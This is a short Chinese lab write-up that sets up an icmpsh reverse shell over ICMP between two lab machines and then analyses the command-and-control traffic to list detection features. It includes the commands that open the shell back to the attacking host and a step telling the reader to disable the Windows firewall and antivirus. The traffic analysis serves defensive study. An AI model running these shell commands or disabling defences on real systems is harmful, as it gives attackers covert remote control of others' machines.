一、环境
Win10：10.95.16.112
CentOS7：10.95.16.103
二、工具
icmpsh
python2
三、操作
win10关闭防火墙，病毒检测，不然icmpsh.exe会被自动删除
centOS7安装python2对应的库文件用于支持icmpsh工具
pip2 install impacket
1、CentOS7
sysctl -w net.ipv4.icmp_echo_ignore_all=1 【关闭本机的icmp响应】
python2 icmpsh_m.py 10.95.16.103 10.95.16.112
2、Win10
icmpsh.exe -t 10.95.16.103
3、反弹成功
【这里执行了whoami和ipconfig两个命令便于观察下面流量信息】
四、C2流量分析
1、正常的icmp流量
数据包长度不大
数据包内容
2、恶意的icmp流量
数据包长度明显过长
且数据包没有data字段
3、C2数据
第一个包攻击机下达命令
第二个包回显命令执行结果
如果一来一回reply-request没有把命令回显结束，则会分包回显命令执行结果
执行了ipconfig命令
回显，一个包没有回显结束
第三个包空（reply包）
第四个包继续回显
总结
在当前的实验环境下，icmp流量抓取的相对容易，而且流量是明文传输，特征十分的明显。总结以下几点：
1、数据包长度过长
2、数包没有data字段
3、reply包携带明文的命令语句（同时没有info内容）
4、request包明文回显执行结果（info内容为 no response found）
5、一个数据包回显不完C2结果会以多个包的形式回显（期间reply数据包没有data字段且info为空）
by 久违
2021.9.29